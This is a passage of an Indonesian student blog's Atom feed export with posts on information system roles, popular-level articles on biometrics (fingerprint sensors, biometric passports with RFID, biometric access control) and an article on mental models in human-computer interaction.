pada proyek tersebut.&lt;br /&gt;2. Manajer proyek (teknik), yang merencanakan, memotivasi, mengorganisasi dan&lt;br /&gt;mengontrol orang-orang yang bekerja dalam proyek tersebut (praktisi).&lt;br /&gt;3. Praktisi, adalah orang yang mempunyai kemampuan teknis yang dibutuhkan untuk&lt;br /&gt;mendapatkan produk sistem informasi (program aplikasi).&lt;br /&gt;4. Pelanggan, adalah orang yang membutuhkan sistem informasi (PL) tersebut.&lt;br /&gt;5. Pengguna akhir, orang yang berinteraksi dengan sistem informasi (PL) yang&lt;br /&gt;dikaitkan dengan penggunaan produk&lt;/p&gt; &lt;/div&gt;        &lt;/div&gt;      &lt;p class="postfeedback"&gt;     &lt;br /&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-4461734285073879661?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/4461734285073879661/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=4461734285073879661' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/4461734285073879661'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/4461734285073879661'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/12/sistem-informasi-bagian-1.html' title='Sistem Informasi ( Bagian 1 )'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-4071110602245705658</id><published>2007-11-02T05:14:00.000-07:00</published><updated>2007-11-02T05:18:00.416-07:00</updated><title type='text'>Biometrik Artikel 5</title><content type='html'>&lt;span style="font-size:130%;"&gt;&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;(Artikel 5)Tes &amp;amp; Teknologi Biometrik Membaca dengan tangan&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://3.bp.blogspot.com/_eTjLkcqj9WM/RysVUSIocFI/AAAAAAAAAFY/0wDWwiSq7gc/s320/image006.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5128216038901051474" /&gt;&lt;br /&gt;&lt;br /&gt;MEMBACA TANGAN DAN DARAH&lt;br /&gt;Pengenalan wajah, sidik jari, dan iris kini merupakan favorit biometri. Sebenarnya, ada ciri-ciri lain yang juga dapat digunakan untuk identifikasi.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pengenalan tangan: Sistem ini mengukur geometri seluruh tangan. Dari panjang jari, lebar sendi, bentuk tangan, dan ciri-ciri lainnya dihasilkan sebuah paket data.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Analisis DNA: Sidik genetis adalah ciri pengenalan yang sangat bagus-saat ini telah digunakan untuk melacak pelaku kejahatan. Pertimbangan etis dan perlindungan data menghalangi penerapan analisis DNA di bidang lainnya.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pola vena: Pembuluh darah balik (vena) pada tangan juga tidak berubah bentuk seumur hidup-hanya menjadi lebih tebal. Dalam cahaya inframerah, polanya tampak lebih jelas.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pengenalan suara: Pita suara, tenggorokan, rongga mulut, dan rahang secara bersama-sama menghasilkan pola suara yang dapat digunakan untuk proses verifikasi melalui telepon.&lt;br /&gt;&lt;br /&gt;Karena faktor gangguan seperti ketergantungan pada sudut dan cahaya dapat disingkirkan, Busch menganggap metoda 3D ini lebih tepat dibandingkan pengenalan 2D yang biasa. Di samping itu, ada aspek lain yang memperbesar minat pada sistem pengenalan 3D. Dengan data foto 3D sebagai template, wajah orang dalam kerumunan yang menghadap ke suatu arah lebih mudah diidentifikasi.&lt;br /&gt;&lt;br /&gt;Sehandal apa sistem tersebut bekerja. Saat ini para ahli sedang meneliti dalam sebuah eksperimen internal di IGD, di mana sekitar seratus peserta berpartisipasi dalam proyek yang disebut 'BioFace V'. "Penuaan manusia sulit kami simulasikan, tetapi kami tidak sabar menunggu hasil eksperimen pada anak-anak kecil," ungkap Ulrich Pinsdorf, salah seorang peneliti di Fraunhofer.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Dr. Christoph Busch, Fraunhofer IGD.&lt;br /&gt;&lt;br /&gt;»Pengenalan wajah 3D memungkinkan dibuatnya sistem identifikasi yang handal.&lt;br /&gt;&lt;br /&gt;Sistem pengenalan biometrik pada dasarnya memang mengandalkan ciri-ciri yang tidak berubah, tetapi bisa saja dengan berjalannya waktu ciri-ciri tersebut menjadi sulit dikenali. Karena itu, trend bergeser pada penggunaan beberapa metoda sekaligus. Di samping peningkatan keamanan, cara ini juga akan memberikan ketepatan yang lebih tinggi dalam pemakaian yang terus menerus. Setidaknya, salah satu dari beberapa metoda-demikian gagasan di baliknya-sangat mungkin memberi hasil yang jelas.&lt;br /&gt;&lt;br /&gt;Dalam sebuah paket biometri kombinasi biasanya terdapat sistem pengenalan sidik jari. Metoda yang telah matang ini digunakan sejak lebih dari 100 tahun dalam dunia kriminologi dan belum lama ini juga diterapkan untuk pemberian akses ke notebook dan PC. Jika sistem lain bekerja dengan algoritma analisis, pengenalan sidik jari biometrik mengandalkan analisis garis Papillar yang telah teruji. Komputer membandingkan titik-titik karakteristik tersebut yang dapat berupa percabangan, awal dan akhir garis, lingkaran, patahan, atau pusaran.&lt;br /&gt;&lt;br /&gt;Untuk merekam sidik jari digunakan berbagai sensor yang semuanya menghasilkan gambar hitam-putih berpola garis. Perangkat yang paling populer adalah sensor optik. Di sini jari diletakkan pada sebuah keping kaca, disinari oleh LED melalui sebuah prisma, dan difoto dengan digicam. Pada sensor kapasitif, permukaan sensor dan permukaan jari membentuk sebuah kapasitor yang kapasitasnya berubah sesuai pola permukaan kulit.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sistem sensor lainnya mengukur medan listrik atau pola panas dari jari. Untuk membedakan jari palsu-misalnya dari silikon-sistem tertentu juga mengukur detak jantung, aliran darah, kandungan oksigen dalam darah, dan suhu jari.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Sayangnya, tak satu pun metoda biometri yang sepenuhnya aman dari pemalsuan. Untuk mencegah orang lain ikut lewat bersama orang yang telah di-scan, petugas perbatasan atau bandara tidak akan tergantikan oleh mesin.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-4071110602245705658?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/4071110602245705658/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=4071110602245705658' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/4071110602245705658'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/4071110602245705658'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/11/biometrik-artikel-5.html' title='Biometrik Artikel 5'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_eTjLkcqj9WM/RysVUSIocFI/AAAAAAAAAFY/0wDWwiSq7gc/s72-c/image006.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-9020155070166458842</id><published>2007-11-02T04:51:00.001-07:00</published><updated>2007-11-02T05:14:16.105-07:00</updated><title type='text'>Biometri Artikel 4</title><content type='html'>&lt;strong&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="color:#ff0000;"&gt;(Artikel 4)RFID di Paspor Biometrik&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Paspor Biometrik&lt;br /&gt;&lt;br /&gt;Sebagian besar dari kita mungkin pernah mendengar istiah "Biometrik". Jargon tersebut santer ketika Kantor Imigrasi meluncurkan paspor baru yang katanya berteknologi tinggi. Apa sebenarnya paspor biometrik itu ?&lt;br /&gt;&lt;br /&gt;Paspor Biometrik adalah dokumen perjalanan (paspor) yang dapat dibaca oleh mesin pembaca atau disebut Machine Readable Travel Document (MRTD). Standar MRTD diatur oleh ICAO .&lt;br /&gt;&lt;br /&gt;Sesuai dengan namanya, informasi yang disimpan di dalam paspor adalah informasi biometrik yang meliputi: sidik jari, pengenal wajah dan pindaian iris mata [1]. Di samping informasi tadi mungkin sekali informasi penting lain seperti nama kecil, tanggal lahir, alamat, dll ikut disimpan di sana.&lt;br /&gt;&lt;br /&gt;Paspor yang menggunakan teknologi ini, biasanya akan memuat logo biometrik seperti berikut&lt;br /&gt;&lt;br /&gt;&lt;img src="http://2.bp.blogspot.com/_eTjLkcqj9WM/RysUXCIocEI/AAAAAAAAAFQ/hrpZWYC6xD0/s320/biogen_online_banner_right.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5128214986634063938" /&gt;&lt;br /&gt;&lt;br /&gt;Coba perhatikan, jika anda pemegang paspor Indonesia, mungkin tidak menemukannya di paspor anda.&lt;br /&gt;&lt;br /&gt;Di dalam paspor informasi disimpan di dalam chip RFID (Radio Frequency ID). Chip yang disebut sebagai RFID tag tadi berukuran kecil bahkan bisa dimasukkan ke dalam lapisan kertas. Mungkin inilah yang digunakan untuk Paspor Biometrik. RFID tag dapat dibaca dari jarak tertentu oleh RFID reader.&lt;br /&gt;&lt;br /&gt;Isu Keamanan &amp;amp; Privasi&lt;br /&gt;&lt;br /&gt;Di balik sesumbar teknologi canggih tadi, rasanya pemegang paspor biometrik harus lebih berhati-hati karena bisa saja informasi pribadinya dimanfaatkan oleh orang lain untuk kejahatan.&lt;br /&gt;&lt;br /&gt;Sudah ada cerita mengenai paspor Inggris yang di-clone, lantas penjahat tersebut membeli tiket menggunakan nomor frequent flyer yang berhasil dicurinya dari RFID paspor. Tidak sampai di situ, penjahat terus bepergian menggunakan paspor duplikasi menggunakan identitas pemilik paspor yang informasinya dicuri. Banyak cerita lain mengenai pembobolan informasi di paspor biometrik [2].&lt;br /&gt;&lt;br /&gt;Tips Pengamanan Sederhana&lt;br /&gt;&lt;br /&gt;Pengaman harus dilakukan sendiri oleh pemilik barang yang di dalamnya terdapat RFID tag. Bisa saja menggunakan RFID-Zapper . Yang termudah adalah melapisi paspor anda dengan aluminium foil untuk menghalangi sinyal radio pemindai RFID menghubungi chip di paspor. Oleh karena itu, mulai sekarang bungkuslah paspor anda dengan aluminium sehingga informasi pribadi anda tetap aman.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-9020155070166458842?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/9020155070166458842/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=9020155070166458842' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/9020155070166458842'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/9020155070166458842'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/11/biometri-artikel-4.html' title='Biometri Artikel 4'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_eTjLkcqj9WM/RysUXCIocEI/AAAAAAAAAFQ/hrpZWYC6xD0/s72-c/biogen_online_banner_right.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-7914099471721285466</id><published>2007-11-02T04:46:00.000-07:00</published><updated>2007-11-02T04:51:02.375-07:00</updated><title type='text'>Biometrik Artikel 3</title><content type='html'>&lt;strong&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="color:#ff0000;"&gt;(Artikel 3)Biometrik Gantikan Password&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://1.bp.blogspot.com/_eTjLkcqj9WM/RysO5yIocCI/AAAAAAAAAFA/V8fcRkzQNTM/s320/biometri.gif" border="0" alt="" id="BLOGGER_PHOTO_ID_5128208986564751394" /&gt;&lt;br /&gt;&lt;br /&gt;TEKNOLOGI biometrik datang, dunia security ikut terus berubah. Sebab, kehadiran teknologi yang satu ini memiliki kemampuan untuk mengenali manusia lewat sidik jari, mata, atau karakter khas bagian tubuh manusia yang lainnya.&lt;br /&gt;&lt;br /&gt;Bagaimana sepak terjang penggunaan teknologi biometrik ini, kita dapat nikmati dalam film â€�Sixth Dayâ€� (2001), sebagai contohnya. Film dengan pemeran utama Arnold Schwarzenegger itu memperlihatkan betapa biometrik sudah seperti menggantikan kunci. Dalam petualanganya, sidik jari atau mata bisa digunakan sebagai pembuka akses masuk ruangan kantor, laboratorium, menstarter mobil, dll. Singkatnya, teknologi pengenalan diri itu kini benar-benar mengenali fisik si pemilik, bukan lagi menggunakan password (kata sandi).&lt;br /&gt;&lt;br /&gt;Dalam bahasa lain, Elizabeth Millard menyebutkan bahwa biometrik telah bergerak dari tontonan pada film thriller James Bond Sang Agen 007 ke dalam dunia komputer sehari-hari. Fitur biometrik telah diintegrasikan ke dalam PDA Hewlett-Packard, ThinkPads IBM, dan peranti genggam dan laptop sebagai cara untuk mengamankan perangkat tanpa meminta pengguna untuk mengingat sejumlah kata sandi untuk pengontrolan akses dalam berbagai tingkatan.&lt;br /&gt;&lt;br /&gt;Kelemahan kata sandi&lt;br /&gt;&lt;br /&gt;Munculnya teknologi biometrik sebagai metode verifikasi identitas individual, sesungguhnya merupakan refleksi dari kesadaran bahwa password adalah suatu hal yang tidak dapat diandalkan untuk security. Sebab, kata sandi itu memiliki sisi kelemahan yang dapat bersifat merugikan.&lt;br /&gt;&lt;br /&gt;Kondisi seperti itu, penulis ibaratkan dengan ungkapan â€�Biomerik datang, password ditinggalâ€�. Alasan ditinggalnya passeord, tidak lain karena kelemahan-kelemahan yang dimilikinya. Kelemahan kata sandi itu di antaranya ketika akses jaringan ia membutuhkan verifikasi. Password terbukti mudah sekali diserang hacker dan mudah diketahui secara luas. Hal ini diakui Millard, banyak manajer teknologi informasi (TI) dapat menyampaikan rekening yang terdapat pada userâ€™s desk dan melihat password mereka pada post-it note stuck pada monitor mereka.&lt;br /&gt;&lt;br /&gt;Selain itu, password juga mudah terlupakan, seperti yang dilaporkan oleh Gartner Group. Perusahaan riset tersebut menemukan bahwa panggilan untuk help desk yang berhubungan dengan password, turun hingga 30 persen dari biasanya. Untuk setiap penghapusan password, harus dibayar perusahaan dengan biaya antara 50 â€“ 150 dolar AS.&lt;br /&gt;&lt;br /&gt;Potensi biometrik&lt;br /&gt;&lt;br /&gt;Kehadiran teknologi biometrik, apalagi saat ini didukung faktor harga yang semakin terjangkau dan bisa diterapkan pada banyak sektor, teknologi biometrik akan menggeser dunia password sebagai pintu masuk yang memiliki beberapa kelemahan tersebut.&lt;br /&gt;&lt;br /&gt;Ditinggalnya penggunaan password ini, tentu bukan tanpa dasar. Paling tidak, pendapat para ahli keamanan menjadi salah satu dasarnya. Menurut para ahli keamanan, kini ada cracking tool yang mampu memindai kata maupun menebak password berupa kombinasi huruf dan angka. â€�Loft Crackâ€�, salah satu program penjebol sandi misalnya, hanya butuh waktu 48 jam untuk mencari seluruh arsip password di suatu perusahaan (Intisari, Agustus 2001).&lt;br /&gt;&lt;br /&gt;Terlepas dari itu semua, yang harus diingat dalam penerapan teknologi biometrik ini adalah apa yang diungkapkan Joseph Kim, Associate Director of Consulting pada International Biometric Group. Menurut Kim, sebuah teknologi biometrik yang tidak terintegrasi dengan baik dalam ruang korporat merupakan facial recognition. Walaupun kamera mungkin berada di posisinya sebagai â€�pengamatâ€�, teknologinya belum cukup akurat untuk diteruskan atau digunakan untuk akses pegawai. Dibutuhkan beberapa tahun untuk dapat dijalankan dengan benar-benar efektif. Saat ini hal tersebut merupakan satu-satunya cara yang dapat digunakan untuk mengakses sebuah data base yang diketahui setiap orang dalam sebuah struktur yang ada dan mengakselerasikan prosesnya untuk keamanan.&lt;br /&gt;&lt;br /&gt;Akhirnya, dengan reputasi password selama ini yang dapat dicuri dan terlupakan itu, tidak berlebihan bila dunia password akan ditinggalkan. Apalagi kehadiran biometrik itu memiliki potensi untuk mengamankan jaringan dan data dengan cara mengambilalih tugas user (pengguna) yang serupa.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-7914099471721285466?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/7914099471721285466/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=7914099471721285466' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/7914099471721285466'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/7914099471721285466'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/11/biometrik-artikel-3.html' title='Biometrik Artikel 3'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_eTjLkcqj9WM/RysO5yIocCI/AAAAAAAAAFA/V8fcRkzQNTM/s72-c/biometri.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-6206813900225185558</id><published>2007-11-02T04:41:00.000-07:00</published><updated>2007-11-02T04:46:04.736-07:00</updated><title type='text'>BIometrik Artikel 2</title><content type='html'>&lt;strong&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="color:#ff0000;"&gt;(Artikel 2)Biometric Access Control&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://1.bp.blogspot.com/_eTjLkcqj9WM/RysNeyIocBI/AAAAAAAAAE4/0kkwoT1r_dU/s320/IMG_25260603290855_j_29379d.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5128207423196655634" /&gt;&lt;br /&gt;&lt;br /&gt;Terdapat cara yang cukup efektif untuk melindungi workstation anda. Dengan menggunakan Biometric Access Control, yaitu dengan memanfaatkan ciri-ciri dari tubuh manusia yang unik untuk dijadikan password bagi workstation.&lt;br /&gt;Ciri-ciri tersebut, diantaranya :&lt;br /&gt;- Bau tubuh&lt;br /&gt;- Struktur wajah&lt;br /&gt;- Sidik jari&lt;br /&gt;- Pola retina atau pola iris&lt;br /&gt;- Struktur pembuluh darah&lt;br /&gt;- Suara&lt;br /&gt;&lt;br /&gt;Walaupun dengan keuntungannya seperti penjaminan bahwa tingkat keamanan akan meningkat, tetapi Biometric Access Control ini memiliki sedikit masalah. Masalah yang paling utama adalah masalah privasi, secara lengkap dapat anda baca di http://www.dss.state.ct.us/digital/news11/bhsug11.htm.&lt;br /&gt;Sebagai contoh pada biometric access yang menggunakan retina scanner, walaupun keamanannya menjanjikan, tetapi menurut beberapa penelitian dengan menganalisa retina mata, orang yang memiliki penyakit kecanduan obat, penyakit turunan, bahkan AIDS dapat terdeteksi.&lt;br /&gt;Umumnya penggunaan Biometric Access Control ini menyimpan daftar history pengaksesnnya dengan detail. Apabila anda menggunakan komputer anda untuk tindakan yang ilegal, maka anda harus melewatkan metode pengamanan ini, karena dapat meninggalkan jejak yang tidak mungkin disangkal melalui logs (catatan kejadian) yang ada.&lt;br /&gt;Masalah lainnya yang tidak kalah pentingnya adalah,pengguna tidak mungkin menjalankan sistem yang menggunakan Biometric Access Control untuk melakukan pekerjaan secara remote. Kita tidak dapat memaksakan pengguna remote menggunakan alat biometrik. Hal ini hanya cocok untuk untuk akses secara lokal.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-6206813900225185558?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/6206813900225185558/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=6206813900225185558' title='1 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/6206813900225185558'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/6206813900225185558'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/11/biometrik-artikel-2.html' title='BIometrik Artikel 2'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_eTjLkcqj9WM/RysNeyIocBI/AAAAAAAAAE4/0kkwoT1r_dU/s72-c/IMG_25260603290855_j_29379d.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-7747509155316121684</id><published>2007-11-02T04:34:00.000-07:00</published><updated>2007-11-02T04:41:09.583-07:00</updated><title type='text'>Biometri Artikel 1</title><content type='html'>&lt;span style="font-size:130%;"&gt;&lt;strong&gt;&lt;span style="color:#ff0000;"&gt;(Artikel 1 )biometri 1&lt;/span&gt;&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://4.bp.blogspot.com/_eTjLkcqj9WM/RysMwiIocAI/AAAAAAAAAEw/z2YAC-ZssaE/s320/p200606120916-45315.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5128206628627705858" /&gt;&lt;br /&gt;&lt;br /&gt;Paspor biometrik Dari Wikipedia Indonesia, ensiklopedia bebas berbahasa Indonesia. Langsung ke: navigasi, cari Paspor biometrik atau sering disebut juga e-paspor adalah jenis paspor yang memiliki data biometrik sebagai salah satu unsur pengaman paspor tersebut. Data biometrik ini disimpan dalam bentuk chip yang tertanam pada paspor tersebut. Paspor jenis ini telah digunakan di beberapa negara, antar lain Malaysia, Amerika Serikat, Australia, Inggris, Jepang, Selandia Baru, Swedia, dan negara-negara lainnya. Data biometrik yang tersimpan pada chip ini bervariasi antar negara, namun berdasarkan standarisasi yang dikeluarkan oleh ICAO, data biometrik yang digunakan ialah data biometrik dari wajah pemegang paspor. Berdasarkan standar yang dikeluarkan oleh International Civil Aviation Organisation, data biometrik yang dianjurkan untuk digunakan adalah biometrik wajah pemegang paspor dengan biometrik sidik jari sebagai pendukungnya. Namun hingga saat ini standarisasi yang dikeluarkan oleh ICAO ini belum dapat disepakati oleh dunia internasional karena berbagai macam hal. Saat ini Indonesia telah menggunakan data biometrik pemohon paspor sebagai salah satu unsur pengaman dalam penerbitan paspor Republik Indonesia.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-7747509155316121684?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/7747509155316121684/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=7747509155316121684' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/7747509155316121684'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/7747509155316121684'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/11/biometri-artikel-1.html' title='Biometri Artikel 1'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_eTjLkcqj9WM/RysMwiIocAI/AAAAAAAAAEw/z2YAC-ZssaE/s72-c/p200606120916-45315.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-4941549257185021275</id><published>2007-11-02T04:26:00.000-07:00</published><updated>2007-11-02T04:34:45.539-07:00</updated><title type='text'>HCI Artikel 5</title><content type='html'>&lt;strong&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="color:#ff0000;"&gt;(Artikel 5 )Model Mental HCI&lt;/span&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;&lt;img src="http://2.bp.blogspot.com/_eTjLkcqj9WM/RysLKCIob_I/AAAAAAAAAEo/eBLLIRdVfBg/s320/hci_haus.jpg" border="0" alt="" id="BLOGGER_PHOTO_ID_5128204867691114482" /&gt;&lt;br /&gt;&lt;br /&gt;Sejak adanya ternuan-ternuan yang dilakukan oleh para peneliti HCI tentang&lt;br /&gt;fungsionalitas sistem, yakni "apa yang diketahui oleh pemakai tentang sistem&lt;br /&gt;perangkat lunak komputer" dan usability sistem, yakni "apa yang harus dilakukan&lt;br /&gt;oleh pemakai terhadap sistem " mendorong perkembangan riset dalam HCI tersebut.&lt;br /&gt;Riset yang dilakukan pada akhir-akhir ini mulai berfokus kepada jenis-jenis&lt;br /&gt;pengetahuan pemakai ketika ia menggunakan sistem komputer. Konsep model&lt;br /&gt;mental terhadap sistem adalah topik utamanya. Studi representasi pengetahuan yang&lt;br /&gt;berbasis komputer ini menghasilkan keuntungan-keuntungan antara lain studi ini&lt;br /&gt;bisa menggali basis perilaku teoritis, seperti perilaku khusus pemakai terhadap&lt;br /&gt;tugasnya. Studi jenis ini juga berkaitan dengan representasi mental, maka diperlukan&lt;br /&gt;&lt;br /&gt;3. Mental model. Pemakai dikatakan sudah memiliki model mental terhadap sistem&lt;br /&gt;apabila ia telah memahami bagaimana sistem itu bekerja, apa saja komponen&lt;br /&gt;sistem tersebut, bagaimana hubungannya, apa saja proses-proses internalnya, dan&lt;br /&gt;bagaimana operasi internal tersebut mempengaruhi komponen-komponennya&lt;br /&gt;[CAR90].&lt;br /&gt;&lt;br /&gt;Ketepatan rancangan system image dari suatu sistem terhadap model mental&lt;br /&gt;pemakai adalah sangat penting. Jika sistem tersebut tidak bisa merepresentasikan&lt;br /&gt;model mental pemakai secara baik, maka interaksi yang terjadi antara sistem dan&lt;br /&gt;pemakai niscaya akan mengalami hambatan-hambatan. Pemakai akan tidak bisa&lt;br /&gt;nyaman dalam menggunakan sistem tersebut, bahkan bisa terjadi kesalahpahaman,&lt;br /&gt;karena beban kognitif pemakai bertambah berat. Oleh karenanya, dalam sistem antar&lt;br /&gt;muka biasanya masalah yang paling sering terjadi adalah kesenjangan antara model&lt;br /&gt;mental pemakai mengenai tugas dari sistem dengan keadaan riil dari sistem itu.&lt;br /&gt;Misalnya, pada waktu memulai suatu program, seorang pemakai sudah memiliki&lt;br /&gt;tujuan yang ingin dicapai dari interaksi yang dilakukan, yang mana tujuan ini ada&lt;br /&gt;didalam pikiran pemakai. Di lain pihak, perancang atau pengembang program juga&lt;br /&gt;mempunyai tujuan sendiri dari sistem yang dikembangkannya. Bila tujuan dari&lt;br /&gt;pemakai dan tujuan dari perancang sistim itu berbeda jauh, maka disini biasanya&lt;br /&gt;akan terjadi kesukaran atau konflik-konflik ketika berinteraksi.&lt;br /&gt;Oleh Norman (1986) ditegaskan bahwa konflik-konflik demikian bisa terjadi&lt;br /&gt;di-karenakan adanya kesenjangan antara model mental (yakni: goals dan intensi)&lt;br /&gt;seseorang yang disebut variabel-variabel psikologikal dengan variabel-variabel&lt;br /&gt;fisikal (sistem). Narnun demikian, perbedaan atau kesenjangan antara tujuan dari&lt;br /&gt;pemakai dan sistim ini dapat diperkecil bila rancangan sistem dibuat berdasarkan&lt;br /&gt;data-data dari pemakai, misalnya kemampuan kognitif pemakai, tujuan yang ingin&lt;br /&gt;dicapai oleh pemakai, dan sebagainya. Untuk hal tersebut Norman (1986) mencoba&lt;br /&gt;mengaplikasikan hasil risetnya dibidang cognitive science yang dikenal dengan&lt;br /&gt;istilah Cognitive Engineering. Melalui cognitive engineering ini kesenjangan akan&lt;br /&gt;diperkecil.&lt;br /&gt;Kesenjangan interaksi antara pemakai dan sistem tersebut 